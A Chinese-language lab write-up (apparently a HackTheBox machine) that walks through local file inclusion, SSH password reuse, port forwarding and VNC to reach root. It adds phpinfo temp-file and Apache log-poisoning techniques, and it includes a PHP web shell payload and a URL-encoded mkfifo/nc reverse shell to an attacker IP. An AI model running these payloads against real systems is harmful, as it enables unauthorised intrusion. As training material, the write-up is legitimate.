从一次靶机渗透学到的两种LFI姿势
字数 1200 2025-08-26 22:11:23

从靶机渗透学习两种LFI利用姿势

1. 环境侦察

首先通过nmap扫描目标主机端口和服务信息:

nmap -sV -sC -sT -v 10.10.10.84

扫描结果:

  • 22/tcp: OpenSSH 7.2 (FreeBSD)
  • 80/tcp: Apache httpd 2.4.29 (FreeBSD) PHP/5.6.32

2. 文件包含漏洞(LFI)利用

2.1 基础LFI利用

目标网站存在文件包含漏洞,可通过browse.phpfile参数包含任意文件:

http://10.10.10.84/browse.php?file=pwdbackup.txt

发现base64加密的密码字符串,解码13次后得到密码:Charix!2#4%6&8(0

2.2 目录遍历

利用LFI进行目录遍历读取系统文件:

http://10.10.10.84/browse.php?file=../../../../../../etc/passwd

/etc/passwd内容显示存在用户charix

3. SSH登录

使用获取的密码登录SSH:

ssh charix@10.10.10.84

在用户目录下发现:

  • user.txt (第一个flag)
  • secret.zip (需要密码解压)

使用之前获取的密码解压secret.zip:

unzip secret.zip
# 输入密码: Charix!2#4%6&8(0

解压得到secret文件。

4. VNC渗透

4.1 发现VNC服务

检查本地监听端口:

netstat -an

发现5801和5901端口监听。

检查root进程:

ps -U root

发现Xvnc进程。

4.2 SSH端口转发

ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84

4.3 连接VNC

使用之前获取的secret文件作为密码连接VNC:

vncviewer -passwd secret 127.0.0.1:5901

成功获取root权限和flag。

5. LFI扩展利用姿势

5.1 利用phpinfo进行LFI getshell

条件

  1. 存在文件包含漏洞
  2. 存在phpinfo页面

原理
上传文件时PHP会生成临时文件,利用phpinfo获取临时文件名,在文件被删除前包含执行。

步骤

  1. 构造特殊POST请求到phpinfo.php:
POST /phpinfo.php HTTP/1.1
Host: 10.10.10.84
Content-Type: multipart/form-data; boundary=--ShellHere
Content-Length: 147

----ShellHere
Content-Disposition: form-data; name="anything"; filename="Shell"
Content-Type: text/plain

<?php system($_GET['cmd']); ?>
----ShellHere
  1. 从phpinfo输出中提取临时文件名
  2. 快速使用LFI包含临时文件

自动化脚本
使用提供的phpinfolfi.py脚本自动化此过程。

5.2 利用Apache日志文件getshell

步骤

  1. 通过nc发送PHP代码到Web服务器:
nc -vn 10.10.10.84 80
<?php system($_GET['cmd']); ?>
  1. 包含Apache访问日志执行代码:
http://10.10.10.84/browse.php?file=../../../../../../var/log/httpd-access.log&cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2%3E%261|nc+10.10.14.4+4444+%3E/tmp/f

注意:使用nc而非浏览器发送PHP代码,因为浏览器会编码特殊字符。

6. 关键点总结

  1. LFI基础利用

    • 读取敏感文件(/etc/passwd)
    • 包含已知文件获取信息
  2. 密码处理

    • 多次base64解码
    • 密码复用(SSH和zip)
  3. 权限提升

    • 发现隐藏服务(VNC)
    • SSH端口转发
    • 使用secret文件认证VNC
  4. 高级LFI利用

    • phpinfo辅助文件包含
    • 临时文件竞争条件
    • 日志文件注入PHP代码
  5. 自动化工具

    • phpinfolfi.py脚本使用
    • 条件竞争自动化

7. 防御建议

  1. 禁用危险PHP函数(如allow_url_include)
  2. 对文件包含参数进行严格过滤
  3. 将PHP错误日志存放在Web目录外
  4. 限制Apache日志目录权限
  5. 及时更新PHP版本
  6. 使用open_basedir限制PHP可访问目录
从靶机渗透学习两种LFI利用姿势 1. 环境侦察 首先通过nmap扫描目标主机端口和服务信息: 扫描结果: 22/tcp: OpenSSH 7.2 (FreeBSD) 80/tcp: Apache httpd 2.4.29 (FreeBSD) PHP/5.6.32 2. 文件包含漏洞(LFI)利用 2.1 基础LFI利用 目标网站存在文件包含漏洞,可通过 browse.php 的 file 参数包含任意文件: 发现base64加密的密码字符串,解码13次后得到密码: Charix!2#4%6&8(0 2.2 目录遍历 利用LFI进行目录遍历读取系统文件: /etc/passwd内容显示存在用户 charix 。 3. SSH登录 使用获取的密码登录SSH: 在用户目录下发现: user.txt (第一个flag) secret.zip (需要密码解压) 使用之前获取的密码解压secret.zip: 解压得到 secret 文件。 4. VNC渗透 4.1 发现VNC服务 检查本地监听端口: 发现5801和5901端口监听。 检查root进程: 发现Xvnc进程。 4.2 SSH端口转发 4.3 连接VNC 使用之前获取的secret文件作为密码连接VNC: 成功获取root权限和flag。 5. LFI扩展利用姿势 5.1 利用phpinfo进行LFI getshell 条件 : 存在文件包含漏洞 存在phpinfo页面 原理 : 上传文件时PHP会生成临时文件,利用phpinfo获取临时文件名,在文件被删除前包含执行。 步骤 : 构造特殊POST请求到phpinfo.php: 从phpinfo输出中提取临时文件名 快速使用LFI包含临时文件 自动化脚本 : 使用提供的phpinfolfi.py脚本自动化此过程。 5.2 利用Apache日志文件getshell 步骤 : 通过nc发送PHP代码到Web服务器: 包含Apache访问日志执行代码: 注意 :使用nc而非浏览器发送PHP代码,因为浏览器会编码特殊字符。 6. 关键点总结 LFI基础利用 : 读取敏感文件(/etc/passwd) 包含已知文件获取信息 密码处理 : 多次base64解码 密码复用(SSH和zip) 权限提升 : 发现隐藏服务(VNC) SSH端口转发 使用secret文件认证VNC 高级LFI利用 : phpinfo辅助文件包含 临时文件竞争条件 日志文件注入PHP代码 自动化工具 : phpinfolfi.py脚本使用 条件竞争自动化 7. 防御建议 禁用危险PHP函数(如allow_ url_ include) 对文件包含参数进行严格过滤 将PHP错误日志存放在Web目录外 限制Apache日志目录权限 及时更新PHP版本 使用open_ basedir限制PHP可访问目录